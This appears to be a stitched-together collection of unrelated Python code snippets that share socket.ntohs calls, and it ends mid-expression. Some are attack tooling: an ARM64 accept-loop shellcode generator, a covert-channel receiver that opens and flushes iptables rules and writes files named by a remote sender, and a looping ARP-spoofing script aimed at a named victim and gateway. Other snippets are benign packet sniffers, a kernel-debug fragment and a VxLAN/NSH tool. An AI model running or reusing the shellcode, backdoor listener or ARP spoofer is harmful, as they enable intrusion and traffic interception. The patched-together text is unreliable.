def generate(port=31337): """accept loop shellcode Args: port(int/str): specific port Returns: ``x6`` reg indicates socket descriptor will be mapped with dup() """ sc = ''' /* socket(...) */ mov x0, 2 mov x1, 1 sub x2, x2, x2 mov x8, 198 svc 1 /* backup socket descriptor x6 bind(...) */ mov x6, x0 adr x4, sockaddr_in_1 #mov x4, pc #add x4, #22 ldr x1, [x4] sub x2, x2, x2 str x1, [sp, 0] str x2, [sp, 4] mov x0, x6 mov x1, sp mov x2, 16 mov x8, 200 svc 1 b after_sockaddr_in_2 /* sockaddr_in struct(...) */ sockaddr_in_1: .short 2 .short %s /* listen(...) */ after_sockaddr_in_2: mov x1, 16 mov x0, x6 mov x8, 201 svc 1 /* accept(...) */ looplabel_2: mov x0, x6 sub x1, x1, x1 sub x2, x2, x2 mov x8, 242 svc 1 /* fork(...) */ /* clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f867b00d0) = 14482 */ mov x5, x0 /* backup client socket */ mov x0, 0x1200000 add x0, x0, 0x11 sub x1, x1, x1 sub x2, x2, x2 sub x3, x3, x3 mov x4, sp mov x8, 220 svc 1 cmp x0, 0 bgt cleanup_3 /* child close(...) */ mov x0, x6 mov x8, 57 svc 1 mov x0, x5 mov x6, x5 b after_fork_4 /* parent close() */ cleanup_3: mov x0, x5 mov x8, 57 svc 1 b looplabel_2 after_fork_4: ''' % (socket.ntohs(int(port))) return sc
def receiveFile(packet): global fileMessage eth_length = 14 eth_header = packet[:eth_length] eth = unpack('!6s6sH', eth_header) eth_protocol = socket.ntohs(eth[2]) #open firewall port rule = "iptables -A INPUT -p tcp --dport 8505 -j ACCEPT" process = subprocess.Popen(rule, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Parse IP packets, IP Protocol number = 8 if eth_protocol == 8: ip_header = packet[eth_length:20 + eth_length] iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 ttl = iph[5] ipid = iph[3] #handle the file contents if (ipid == 123): protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]); d_addr = socket.inet_ntoa(iph[9]); # UDP packets if protocol == 17: udph_length = 8 h_size = eth_length + iph_length + udph_length password = packet[h_size:] u = iph_length + eth_length udp_header = packet[u:u + 8] # now unpack them :) udph = unpack('!HHHH', udp_header) source_port = udph[0]#byte stored here fileMessage.append(source_port) #handle conclusion of file transfer elif (ipid ==1234): protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]); d_addr = socket.inet_ntoa(iph[9]); if protocol == 17: udph_length = 8 h_size = eth_length + iph_length + udph_length password = packet[h_size:] u = iph_length + eth_length udp_header = packet[u:u + 8] udph = unpack('!HHHH', udp_header) fileName = packet[h_size:] fileName = decrypt(fileName.rstrip('\x00')) print "\n File " + str(fileName) + " has been modified" fileString = "" for m in fileMessage: fileString += chr(m) newFile = open (fileName, 'w') newFile.write(decrypt(fileString)) newFile.close() fileString="" fileMessage = [] #reset port knock flags portKnock [0] = 0 portKnock [1] = 0 doorOpen = 0 #flush iptables rule = "iptables -F" process = subprocess.Popen(rule, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def parse_packet(packet): # parse ethernet header eth_length = 14 eth_header = packet[:eth_length] eth = unpack('!6s6sH', eth_header) eth_protocol = socket.ntohs(eth[2]) ''' print 'Destination MAC : ' + eth_addr(packet[0:6]) + ' Source MAC : ' + eth_addr( packet[6:12]) + ' Protocol : ' + str(eth_protocol) ''' # Parse IP packets, IP Protocol number = 8 if eth_protocol == 8: # Parse IP header # take first 20 characters for the ip header ip_header = packet[eth_length:20 + eth_length] # now unpack them :) iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 ttl = iph[5] # check if ttl is 144 if (ttl == 144): protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]); d_addr = socket.inet_ntoa(iph[9]); ''' print 'Version : ' + str(version) + ' IP Header Length : ' + str(ihl) + ' TTL : ' + str( ttl) + ' Protocol : ' + str(protocol) + ' Source Address : ' + str( s_addr) + ' Destination Address : ' + str(d_addr) ''' # TCP protocol if protocol == 6: t = iph_length + eth_length tcp_header = packet[t:t + 20] # now unpack them :) tcph = unpack('!HHLLBBHHH', tcp_header) # check if payload is our password # get password from the packet doff_reserved = tcph[4] tcph_length = doff_reserved >> 4 h_size = eth_length + iph_length + tcph_length * 4 data_size = len(packet) - h_size password = packet[h_size:len(packet)-2] if(decrypt(password) == "1000"): source_port = tcph[0] dest_port = tcph[1] sequence = tcph[2] acknowledgement = tcph[3] ''' print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str( dest_port) + ' Sequence Number : ' + str( sequence) + ' Acknowledgement : ' + str(acknowledgement) + ' TCP header length : ' + str( tcph_length) ''' result = chr(sequence) #print 'Data : ' + result sys.stdout.write(result) #print result, if (iph[3] == 2): return True # UDP packets elif protocol == 17: udph_length = 8 h_size = eth_length + iph_length + udph_length password = packet[h_size:len(packet)-14] #print "test" if(decrypt(password) == "1000"): u = iph_length + eth_length udp_header = packet[u:u + 8] # now unpack them :) udph = unpack('!HHHH', udp_header) source_port = udph[0] dest_port = udph[1] length = udph[2] checksum = udph[3] ''' print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str( length) + ' Checksum : ' + str(checksum) ''' data_size = len(packet) - h_size # get data from the packet result = source_port result = chr(source_port) #print result, sys.stdout.write(result) if (iph[3] == 2): return True
def main(type_addr=None, src=None, dest=None, file_name=None): #code of .pcap file analyzer if file_name != None: file = open(file_name, 'rb') pcapfile = savefile.load_savefile(file, verbose=True) b = True i = 1 try: packet = pcapfile.packets[0] raw_data = packet.raw() size = packet.packet_len except: print("empty file !") b = False #code to read and analyze .pcap file with the protocol Linux cooked capture while b: if 1: if 1: #ipv4 = IPv4(eth.data) ipv4 = IPv4(raw_data[16:]) if (type_addr == '-ip' and src == ipv4.src and dest == ipv4.target ) or type_addr == '-m' or type_addr == None: print(TAB_1 + 'IPv4 Packet: No:{}'.format(i)) print( TAB_2 + 'Version: {}, Header Length: {}, TTL: {},'.format( ipv4.version, ipv4.header_length, ipv4.ttl)) print(TAB_2 + 'Protocol: {}, Source: {}, Target: {}'.format( ipv4.proto, ipv4.src, ipv4.target)) # TCP #elif ipv4.proto == 6: if ipv4.proto == 6: tcp = TCP(ipv4.data) add_info(ipv4.src, ipv4.target, tcp.sequence, tcp.flag_fin, packet, tcp, packet.packet_len) print(TAB_1 + 'TCP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}'. format(tcp.src_port, tcp.dest_port)) print(TAB_2 + 'Sequence: {}, Acknowledgment: {}'.format( tcp.sequence, tcp.acknowledgment)) print(TAB_2 + 'Flags:') print(TAB_3 + 'URG: {}, ACK: {}, PSH: {}'.format( tcp.flag_urg, tcp.flag_ack, tcp.flag_psh)) print(TAB_3 + 'RST: {}, SYN: {}, FIN:{}'.format( tcp.flag_rst, tcp.flag_syn, tcp.flag_fin)) if len(tcp.data) > 0: print(TAB_3 + 'WINDOW: {}'.format(tcp.win)) # UDP elif ipv4.proto == 17: udp = UDP(ipv4.data) print(TAB_1 + 'UDP Segment:') print( TAB_2 + 'Source Port: {}, Destination Port: {}, Length: {}' .format(udp.src_port, udp.dest_port, udp.size)) try: packet = pcapfile.packets[i] raw_data = packet.raw() size = packet.packet_len i += 1 except: print("end of file ") b = False file.close() #code of real time analyzer in a local network else: file = Pcap('capture.pcap') conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) i = 0 while True: if keyboard.is_pressed('q'): break raw_data, addr = conn.recvfrom(65535) i += 1 eth = Ethernet(raw_data) if keyboard.is_pressed('q'): #press q to stop the sniffer break if (type_addr == '-m' and src == eth.src_mac and dest == eth.dest_mac) or type_addr == None or type_addr == 'ip': file.write(raw_data) print('\nEthernet Frame:') print(TAB_1 + 'Destination: {}, Source: {}, Protocol: {}'.format( eth.dest_mac, eth.src_mac, eth.proto)) # IPv4 if eth.proto == 8: i += 1 ipv4 = IPv4(eth.data) if (type_addr == 'ip' and src == ipv4.src and dest == ipv4.target ) or type_addr == '-m' or type_addr == None: print(TAB_1 + 'IPv4 Packet: No:{}'.format(i)) print( TAB_2 + 'Version: {}, Header Length: {}, TTL: {},'.format( ipv4.version, ipv4.header_length, ipv4.ttl)) print(TAB_2 + 'Protocol: {}, Source: {}, Target: {}'.format( ipv4.proto, ipv4.src, ipv4.target)) # TCP #elif ipv4.proto == 6: if ipv4.proto == 6: tcp = TCP(ipv4.data) print(TAB_1 + 'TCP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}'. format(tcp.src_port, tcp.dest_port)) print(TAB_2 + 'Sequence: {}, Acknowledgment: {}'.format( tcp.sequence, tcp.acknowledgment)) print(TAB_2 + 'Flags:') print(TAB_3 + 'URG: {}, ACK: {}, PSH: {}'.format( tcp.flag_urg, tcp.flag_ack, tcp.flag_psh)) print(TAB_3 + 'RST: {}, SYN: {}, FIN:{}'.format( tcp.flag_rst, tcp.flag_syn, tcp.flag_fin)) if len(tcp.data) > 0: print(TAB_3 + 'WINDOW: {}'.format(tcp.win)) # UDP elif ipv4.proto == 17: udp = UDP(ipv4.data) print(TAB_1 + 'UDP Segment:') print( TAB_2 + 'Source Port: {}, Destination Port: {}, Length: {}' .format(udp.src_port, udp.dest_port, udp.size)) file.close() file1 = open('capture.pcap', 'rb') pcapfile = savefile.load_savefile(file1, verbose=True) j = 0 b = True packet = pcapfile.packets[0] raw_data = packet.raw() size = packet.packet_len while b: eth = Ethernet(raw_data) if (type_addr == '-m' and src == eth.src_mac and dest == eth.dest_mac) or type_addr == None or type_addr == 'ip': # IPv4 if eth.proto == 8: i += 1 ipv4 = IPv4(eth.data) if 1: # TCP if ipv4.proto == 6: tcp = TCP(ipv4.data) add_info(ipv4.src, ipv4.target, tcp.sequence, tcp.flag_fin, packet, tcp, packet.packet_len) try: packet = pcapfile.packets[j] raw_data = packet.raw() size = packet.packet_len j += 1 except: print("end of file ") b = False file1.close()
def _packet_handler(param, header, pkt_data): """ This function is called when ip packet have been received. :param param: :param header: :param pkt_data: Only packet that have HTTP header will be processed """ # convert the timestamp to readable format local_tv_sec = header.contents.ts.tv_sec ltime = time.localtime(local_tv_sec) timestr = time.strftime("%H:%M:%S", ltime) ih_address = addressof(pkt_data.contents) + 14 ih = cast(ih_address, POINTER(IpHeader)).contents ip_len = (ih.ver_ihl.real & 0xf) * 4 uh_address = ih_address + ip_len # Checksum count ih_bytes = cast(ih_address, POINTER(c_ushort * ((ih.ver_ihl.real & 0xf) * 2))).contents check_sum = 2 ntochsum = [] for b in ih_bytes: check_sum += socket.ntohs(b) ntochsum.append(socket.ntohs(b)) check_sum &= 0xffff ip_data = cast(addressof(pkt_data.contents), POINTER(c_ubyte * (socket.ntohs(ih.tlen.real) + 14))).contents # ------------------------------------------------------- a = [] for b in ip_data: a.append(chr(b)) buf = pack('c' * (socket.ntohs(ih.tlen.real) + 14), *a) if check_sum == 0xffff: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data tcp = ip.data if isinstance(tcp, dpkt.tcp.TCP) and (tcp.sport == 80 or tcp.dport == 80) and len(tcp.data) > 0: if tcp.data.startswith('HTTP') or tcp.data.startswith( 'GET') or tcp.data.startswith('POST'): eohh = '\r\n\r\n' http_header = tcp.data[:tcp.data.find(eohh)] http_data = [] for b in tcp.data[tcp.data.find(eohh) + len(eohh):]: http_data.append(ord(b)) callback({'data': http_data, 'header': http_header})
# print(priv) # on ofed 4.6, priv is the pointer of struct mlx5e_priv chain_list_addr = block.chain_list.address_of_() for chain in list_for_each_entry('struct tcf_chain', chain_list_addr, 'list'): if (chain.value_() == 0): print("chain 0, continue") continue print("tcf_chain %lx, index: %d, %x, refcnt: %d, action_refcnt: %d" % \ (chain, chain.index, chain.index, chain.refcnt, chain.action_refcnt)) tcf_proto = chain.filter_chain while True: print(" tcf_proto %lx, protocol %x, prio %x" % \ (tcf_proto.value_(), socket.ntohs(tcf_proto.protocol.value_()), \ tcf_proto.prio.value_() >> 16)) head = Object(prog, 'struct cls_fl_head', address=tcf_proto.root.value_()) # print("list -H %lx" % head.masks.address_of_()) for node in radix_tree_for_each(head.handle_idr.idr_rt): # print("%lx" % node[1].value_()) f = Object(prog, 'struct cls_fl_filter', address=node[1].value_()) print_cls_fl_filter(f) tcf_proto = tcf_proto.next if tcf_proto.value_() == 0: break
import socket import struct import binascii s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("ens192", socket.htons(0x0800))) sor = '\x00\x50\x56\x8f\xa2\x1f' victmac = '\x00\x50\x56\x8f\xba\x07' gatemac = '\x00\x09\x0f\x09\x00\x0a' code = '\x08\x06' eth1 = victmac + sor + code #for victim eth2 = gatemac + sor + code # for gateway htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02' gate_ip = '172.18.201.1' victim_ip = '172.18.201.115' gip = socket.inet_aton(gate_ip) vip = socket.inet_aton(victim_ip) arp_victim = eth1 + htype + protype + hsize + psize + opcode + sor + gip + victmac + vip arp_gateway = eth2 + htype + protype + hsize + psize + opcode + sor + vip + gatemac + gip while 1: s.send(arp_victim) s.send(arp_gateway)
def PORT_DST(self): return socket.ntohs(libnfct.nfct_get_attr_u16(self, ATTR.PORT_DST))
print(" %-8d" % event.netns) else: print() pid_filter = "" netns_filter = "" port_filter = "" # added if args.pid: pid_filter = 'if (pid >> 32 != %d) { return 0; }' % args.pid if args.netns: netns_filter = 'if (net_ns_inum != %d) { return 0; }' % args.netns if args.port: # added ports = [int(port) for port in args.port.split(',')] dports_if = ' && '.join(['dport == %d' % ntohs(port) for port in ports]) sport_if = ' && '.join(['sport == %d' % ntohs(port) for port in ports]) port_filter = 'if (%s || %s) { return 0; }' % (dports_if, sport_if) bpf_text = bpf_text.replace('##FILTER_PID##', pid_filter) bpf_text = bpf_text.replace('##FILTER_NETNS##', netns_filter) bpf_text = bpf_text.replace('##FILTER_PORT##', port_filter) # added if args.cgroupmap: bpf_text = bpf_text.replace('CGROUPSET', '1') bpf_text = bpf_text.replace('CGROUPPATH', args.cgroupmap) else: bpf_text = bpf_text.replace('CGROUPSET', '0') if args.ebpf: print(bpf_text)
def main(): parser = argparse.ArgumentParser( description= 'This is a VxLAN/VxLAN-gpe + NSH dump and forward tool, you can use it to dump and forward VxLAN/VxLAN-gpe + NSH packets, it can also act as an NSH-aware SF for SFC test when you use --forward option, in that case, it will automatically decrease nsi by one.', prog='vxlan_tool.py') parser.add_argument('-i', '--interface', help='Specify the interface to listen') parser.add_argument( '-d', '--do', choices=['dump', 'forward', 'send'], help='dump/foward/send VxLAN/VxLAN-gpe + NSH or Eth + NSH packet') parser.add_argument( '-t', '--type', choices=['eth_nsh', 'vxlan_gpe_nsh'], default='vxlan_gpe_nsh', help='Specify packet type for send: eth_nsh or vxlan_gpe_nsh') parser.add_argument('--outer-source-mac', help='Specify outer source MAC for packet send') parser.add_argument('--outer-destination-mac', help='Specify outer destination MAC for packet send') parser.add_argument('--outer-source-ip', help='Specify outer source IP address for packet send') parser.add_argument( '--outer-destination-ip', help='Specify outer destination IP address for packet send') parser.add_argument('--outer-source-udp-port', type=int, help='Specify outer source UDP port for packet send') parser.add_argument('--inner-source-mac', help='Specify inner source MAC for packet send') parser.add_argument('--inner-destination-mac', help='Specify inner destination MAC for packet send') parser.add_argument('--inner-source-ip', help='Specify inner source IP address for packet send') parser.add_argument( '--inner-destination-ip', help='Specify inner destination IP address for packet send') parser.add_argument('--inner-source-udp-port', type=int, help='Specify inner source UDP port for packet send') parser.add_argument( '--inner-destination-udp-port', type=int, help='Specify inner destination UDP port for packet send') parser.add_argument('-n', '--number', type=int, help='Specify number of packet to send') parser.add_argument('--no-swap-ip', dest='swap_ip', default=True, action='store_false', help="won't swap ip if provided") parser.add_argument('-v', '--verbose', choices=['on', 'off'], help='dump packets when in forward mode') parser.add_argument( '--forward-inner', '-f', dest='forward_inner', default=False, action='store_true', help='Strip the outer encapsulation and forward the inner packet') parser.add_argument( '--block', '-b', type=int, default=0, help='Acts as a firewall dropping packets that match this TCP dst port' ) args = parser.parse_args() macaddr = None try: s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) if args.interface is not None: s.bind((args.interface, 0)) if ((args.do == "forward") or (args.do == "send")): if args.interface is None: print( "Error: you must specify the interface by -i or --interface for forward and send" ) sys.exit(-1) send_s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) send_s.bind((args.interface, 0)) if args.interface is not None: macstring = getmac(args.interface) if (macstring is not None): macaddr = macstring.split(':') if (args.do == "send"): if (args.inner_source_mac is None): args.inner_source_mac = macstring if (args.inner_destination_mac is None): print( "Error: you must specify inner destination MAC for packet send" ) sys.exit(-1) if (args.inner_source_ip is None) or (args.inner_destination_ip is None): print( "Error: you must specify inner source IP and inner destination IP for packet send" ) sys.exit(-1) if (args.outer_source_mac is None): args.outer_source_mac = args.inner_source_mac if (args.outer_destination_mac is None): args.outer_destination_mac = args.inner_destination_mac if (args.outer_source_ip is None): args.outer_source_ip = args.inner_source_ip if (args.outer_destination_ip is None): args.outer_destination_ip = args.inner_destination_ip if (args.outer_source_udp_port is None): args.outer_source_udp_port = 55651 if (args.inner_source_udp_port is None): args.inner_source_udp_port = args.outer_source_udp_port if (args.inner_destination_udp_port is None): args.inner_destination_udp_port = 25 if (args.number is None): args.number = 10 except OSError as e: print("{}".format(e) + " '%s'" % args.interface) sys.exit(-1) do_print = ((args.do != "forward") or (args.verbose == "on")) vxlan_gpe_udp_ports = [4790, 6633] vxlan_udp_ports = [4789] + vxlan_gpe_udp_ports #header len eth_length = 14 ip_length = 20 udp_length = 8 vxlan_length = 8 nshbase_length = 8 nshcontext_length = 16 """ Send VxLAN/VxLAN-gpe + NSH packet """ if (args.do == "send"): myethheader = ETHHEADER() myipheader = IP4HEADER() myudpheader = UDPHEADER() myvxlanheader = VXLAN() mynshbaseheader = BASEHEADER() mynshcontextheader = CONTEXTHEADER() """ Set Ethernet header """ dstmacaddr = args.outer_destination_mac.split(":") myethheader.dmac0 = int(dstmacaddr[0], 16) myethheader.dmac1 = int(dstmacaddr[1], 16) myethheader.dmac2 = int(dstmacaddr[2], 16) myethheader.dmac3 = int(dstmacaddr[3], 16) myethheader.dmac4 = int(dstmacaddr[4], 16) myethheader.dmac5 = int(dstmacaddr[5], 16) myethheader.smac0 = int(macaddr[0], 16) myethheader.smac1 = int(macaddr[1], 16) myethheader.smac2 = int(macaddr[2], 16) myethheader.smac3 = int(macaddr[3], 16) myethheader.smac4 = int(macaddr[4], 16) myethheader.smac5 = int(macaddr[5], 16) myethheader.ethertype0 = 0x08 myethheader.ethertype1 = 0x00 """ Set VxLAN header """ myvxlanheader.flags = 0 myvxlanheader.reserved = 0 myvxlanheader.next_protocol = 0x04 myvxlanheader.vni = 0x1234 myvxlanheader.reserved2 = 0 """ Set NSH base header """ mynshbaseheader.flags = NSH_FLAG_ZERO mynshbaseheader.length = NSH_TYPE1_LEN mynshbaseheader.md_type = NSH_MD_TYPE1 mynshbaseheader.next_protocol = NSH_NEXT_PROTO_ETH mynshbaseheader.service_path = 23 mynshbaseheader.service_index = 45 """ Set NSH context header """ mynshcontextheader.network_platform = int_from_bytes( socket.inet_aton(args.outer_destination_ip)) mynshcontextheader.network_shared = 0x1234 mynshcontextheader.service_platform = 0x12345678 mynshcontextheader.service_shared = 0x87654321 innerippack = build_udp_packet(args.inner_source_ip, args.inner_destination_ip, args.inner_source_udp_port, args.inner_destination_udp_port, "Hellow, World!!!".encode('utf-8'), False) if (args.type == "vxlan_gpe_nsh"): outerippack = build_udp_packet( args.outer_source_ip, args.outer_destination_ip, args.outer_source_udp_port, 4790, myvxlanheader.build() + mynshbaseheader.build() + mynshcontextheader.build() + myethheader.build() + innerippack, False) elif (args.type == "eth_nsh"): outerippack = mynshbaseheader.build() + mynshcontextheader.build( ) + myethheader.build() + innerippack myethheader.ethertype0 = 0x89 myethheader.ethertype1 = 0x4f """ Build Ethernet packet """ ethpkt = myethheader.build() + outerippack """ Decode ethernet header """ decode_eth(ethpkt, 0, myethheader) if (args.type == "eth_nsh"): offset = eth_length decode_nsh_baseheader(ethpkt, offset, mynshbaseheader) decode_nsh_contextheader(ethpkt, offset + nshbase_length, mynshcontextheader) elif (args.type == "vxlan_gpe_nsh"): """ Decode IP header """ decode_ip(ethpkt, myipheader) """ Decode UDP header """ decode_udp(ethpkt, myudpheader) offset = eth_length + ip_length + udp_length + vxlan_length decode_nsh_baseheader(ethpkt, offset, mynshbaseheader) decode_nsh_contextheader(ethpkt, offset + nshbase_length, mynshcontextheader) pktnum = 0 while (args.number > 0): """ Send it and make sure all the data is sent out """ pkt = ethpkt while pkt: sent = send_s.send(pkt) pkt = pkt[sent:] pktnum += 1 if (do_print): print("\n\nPacket #%d" % pktnum) """ Print ethernet header """ if (do_print): print_ethheader(myethheader) if (args.type == "vxlan_gpe_nsh"): """ Print IP header """ if (do_print): print_ipheader(myipheader) """ Print UDP header """ if (do_print): print_udpheader(myudpheader) """ Print VxLAN/VxLAN-gpe header """ if (do_print): print_vxlanheader(myvxlanheader) """ Print NSH base header """ if (do_print): print_nsh_baseheader(mynshbaseheader) """ Print NSH context header """ if (do_print): print_nsh_contextheader(mynshcontextheader) args.number -= 1 sys.exit(0) # receive a packet pktnum = 0 while True: packet = s.recvfrom(65565) #packet string from tuple packet = packet[0] myethheader = ETHHEADER() myinsertedethheader = ETHHEADER() has_inserted_eth = False """ Decode ethernet header """ decode_eth(packet, 0, myethheader) if ((myethheader.ethertype0 != 0x08) or (myethheader.ethertype1 != 0x00)): if ((myethheader.ethertype0 != 0x89) or (myethheader.ethertype1 != 0x4f)): continue if (macaddr is not None): if ((myethheader.dmac4 != int(macaddr[4], 16)) or (myethheader.dmac5 != int(macaddr[5], 16))): continue """ Check if the received packet was ETH + NSH """ if ((myethheader.ethertype0 == 0x89) or (myethheader.ethertype1 == 0x4f)): pktnum = pktnum + 1 print("\n\nPacket #%d" % pktnum) """ Eth + NSH """ mynshbaseheader = BASEHEADER() mynshcontextheader = CONTEXTHEADER() offset = eth_length decode_nsh_baseheader(packet, offset, mynshbaseheader) decode_nsh_contextheader(packet, offset + nshbase_length, mynshcontextheader) """ Print ethernet header """ print_ethheader(myethheader) """ Print NSH base header """ print_nsh_baseheader(mynshbaseheader) """ Print NSH context header """ print_nsh_contextheader(mynshcontextheader) """ Check if Firewall checking is enabled, and block/drop if its the same TCP port """ if (args.block != 0): mytcpheader = TCPHEADER() decode_tcp(packet, 0, mytcpheader) if (mytcpheader.tcp_dport == args.block): print bcolors.WARNING + "TCP packet dropped on port: " + str( args.block) + bcolors.ENDC continue if ((args.do == "forward") and (args.interface is not None)): """ nsi minus one for send """ mynshbaseheader.service_index = mynshbaseheader.service_index - 1 """ Build Ethernet header """ newethheader = build_ethernet_header_swap(myethheader) """ Build Ethernet packet """ pkt = newethheader.build() + mynshbaseheader.build( ) + mynshcontextheader.build() + packet[eth_length + nshbase_length + nshcontext_length:] """ Send it and make sure all the data is sent out """ while pkt: sent = send_s.send(pkt) pkt = pkt[sent:] continue pktnum = pktnum + 1 # if (do_print): # print("\n\nPacket #%d" % pktnum) """ Print ethernet header """ # if (do_print): # print_ethheader(myethheader) myipheader = IP4HEADER() """ Decode IP header """ decode_ip(packet, myipheader) """ Print IP header """ # if (do_print): # print_ipheader(myipheader) if (myipheader.ip_proto != 17): continue myudpheader = UDPHEADER() """ Decode UDP header """ decode_udp(packet, myudpheader) """ Print UDP header """ if (do_print): print_udpheader(myudpheader) if (myudpheader.udp_dport not in vxlan_udp_ports): continue myvxlanheader = VXLAN() """ Decode VxLAN/VxLAN-gpe header """ decode_vxlan(packet, myvxlanheader) """ Print VxLAN/VxLAN-gpe header """ if (do_print): print_vxlanheader(myvxlanheader) mynshbaseheader = BASEHEADER() mynshcontextheader = CONTEXTHEADER() """ Print NSH header """ if (myudpheader.udp_dport in vxlan_gpe_udp_ports): offset = eth_length + ip_length + udp_length + vxlan_length """ Decode inserted ethernet header before NSH """ decode_eth(packet, offset, myinsertedethheader) if ((myinsertedethheader.ethertype0 == 0x89) and (myinsertedethheader.ethertype1 == 0x4f)): has_inserted_eth = True offset += eth_length decode_nsh_baseheader(packet, offset, mynshbaseheader) offset += nshbase_length decode_nsh_contextheader(packet, offset, mynshcontextheader) offset += nshcontext_length """ Print NSH base header """ if (do_print): print_nsh_baseheader(mynshbaseheader) """ Print NSH context header """ if (do_print): print_nsh_contextheader(mynshcontextheader) """ Check if Firewall checking is enabled, and block/drop if its the same TCP port """ if (args.block != 0): mytcpheader = TCPHEADER() decode_tcp(packet, eth_length, mytcpheader) print bcolors.OKBLUE + "FLAGS" + str( mytcpheader.tcp_flags) + bcolors.ENDC print bcolors.OKBLUE + "OFFSET " + str( mytcpheader.tcp_offset) + bcolors.ENDC print bcolors.OKBLUE + "SEQ " + str( mytcpheader.tcp_seq) + bcolors.ENDC print bcolors.OKBLUE + "ACK " + str( mytcpheader.tcp_ack) + bcolors.ENDC if (mynshcontextheader.service_platform == 0): if (mytcpheader.tcp_dport == args.block): print bcolors.WARNING + "TCP packet dropped on port: " + str( args.block) + bcolors.ENDC continue else: print bcolors.WARNING + "TCP packet dropped: " + str( args.block) + " and RESET sent" + bcolors.ENDC "Activate the RESET flag and exchange tcp ports" # "We create the ICMP packet" # print bcolors.WARNING + "TCP packet dropped: " + str(args.block) + " and ICMP sent" + bcolors.ENDC # old_packet = packet # myicmpheader = ICMPHEADER() # myicmpheader.icmp_type = 3 # myicmpheader.icmp_code = 1 # myicmpheader.icmp_checksum = 0 # myicmpheader.icmp_unused = 0 # myicmpheader.icmp_MTU = 1400 # myicmpheader.icmp_iphead = 0 ## ip_header_and_data = old_packet[(88+eth_length):(108+eth_length)] + packet[(108+eth_length):(116+eth_length)] # ip_header_and_data = old_packet[(88+eth_length):] # icmp_header_aux = myicmpheader.build() # icmp_header = icmp_header_aux[:8] + ip_header_and_data # icmp_checksum = compute_internet_checksum(icmp_header) # myicmpheader.icmp_checksum = icmp_checksum # icmp_header_aux = myicmpheader.build() # icmp_header = icmp_header_aux[:8] + ip_header_and_data # packet_aux = packet[:(108+eth_length)] + icmp_header # packet = packet_aux "We do the same but with IP" myinternalipheader = IP4HEADER() decode_internal_ip(packet, eth_length, myinternalipheader) "Use the following parameters for ICMP" # myinternalipheader.ip_tot_len = 88 # myinternalipheader.ip_tos = 192 # myinternalipheader.ip_proto = 1 myinternalipheader.ip_id = 0 myinternalipheader.ip_tot_len = 40 ip_source = myinternalipheader.ip_saddr myinternalipheader.ip_saddr = myinternalipheader.ip_daddr myinternalipheader.ip_daddr = ip_source new_internalipheader = myinternalipheader.build() old_internalipheader = packet[(88 + eth_length):(108 + eth_length)] packet_aux = packet[:( 88 + eth_length)] + new_internalipheader + packet[ (108 + eth_length):] packet = packet_aux "We build the new tcp header with the RESET=1" tcp_header, new_tcpheader = build_tcp_reset( mytcpheader, myinternalipheader) # "We build the new tcp header with the RESET=1" # new_tcpheader = mytcpheader.build() old_tcpheader = packet[(108 + eth_length):(128 + eth_length)] "We create an auxiliar variable because strings are immutable" # packet_aux = packet[:(108+eth_length)] + new_tcpheader + packet[(128+eth_length):] packet_aux = packet[:(108 + eth_length)] + new_tcpheader "We replace the packet with the new tcp header and save the original one" packet = packet_aux # "We do the same but with MAC" inner_internal_ethheader = ETHHEADER() inner_offset = eth_length + ip_length + udp_length + vxlan_length + eth_length + nshbase_length + nshcontext_length decode_eth(packet, inner_offset, inner_internal_ethheader) newethheader = build_ethernet_header_swap( inner_internal_ethheader) new_ether_header = newethheader.build() old_ether_header = packet[(74 + eth_length):(88 + eth_length)] packet_aux = packet[: inner_offset] + new_ether_header + packet[ inner_offset + eth_length:] packet = packet_aux # # # "We get the nsp of the symmetric chain which is in the metadata" # nsp_symm = mynshcontextheader.service_platform # mynshbaseheader.service_path = nsp_symm if ((args.do == "forward") and (args.interface is not None) and (mynshbaseheader.service_index > 1)): """ Build Ethernet header """ newethheader = build_ethernet_header_swap(myethheader) """ Build the packet, either encapsulated, or the original inner packet """ pkt = None if args.forward_inner: """ Just build the original, inner packet """ inner_offset = eth_length + ip_length + udp_length + vxlan_length + nshbase_length + nshcontext_length inner_ethheader = ETHHEADER() # Get the inner ethernet header decode_eth(packet[inner_offset:], inner_ethheader) # The new SourceMac should be the outer dest, and the new DestMac should be the inner dest # This call sets the new SourceMac to be the outer dest newethheader = build_ethernet_header_swap(myethheader) # Now set the DestMac to be the inner dest newethheader.dmac0 = inner_ethheader.dmac0 newethheader.dmac1 = inner_ethheader.dmac1 newethheader.dmac2 = inner_ethheader.dmac2 newethheader.dmac3 = inner_ethheader.dmac3 newethheader.dmac4 = inner_ethheader.dmac4 newethheader.dmac5 = inner_ethheader.dmac5 pkt = newethheader.build() + packet[inner_offset + eth_length:] else: """ Build IP packet""" if (myudpheader.udp_dport in vxlan_gpe_udp_ports): """ nsi minus one """ mynshbaseheader.service_index = mynshbaseheader.service_index - 1 if (has_inserted_eth is True): ippack = build_udp_packet( str( socket.inet_ntoa( pack('!I', myipheader.ip_saddr))), str( socket.inet_ntoa( pack('!I', myipheader.ip_daddr))), myudpheader.udp_sport, myudpheader.udp_dport, myvxlanheader.build() + myinsertedethheader.build() + mynshbaseheader.build() + mynshcontextheader.build() + packet[offset:], args.swap_ip) else: ippack = build_udp_packet( str( socket.inet_ntoa( pack('!I', 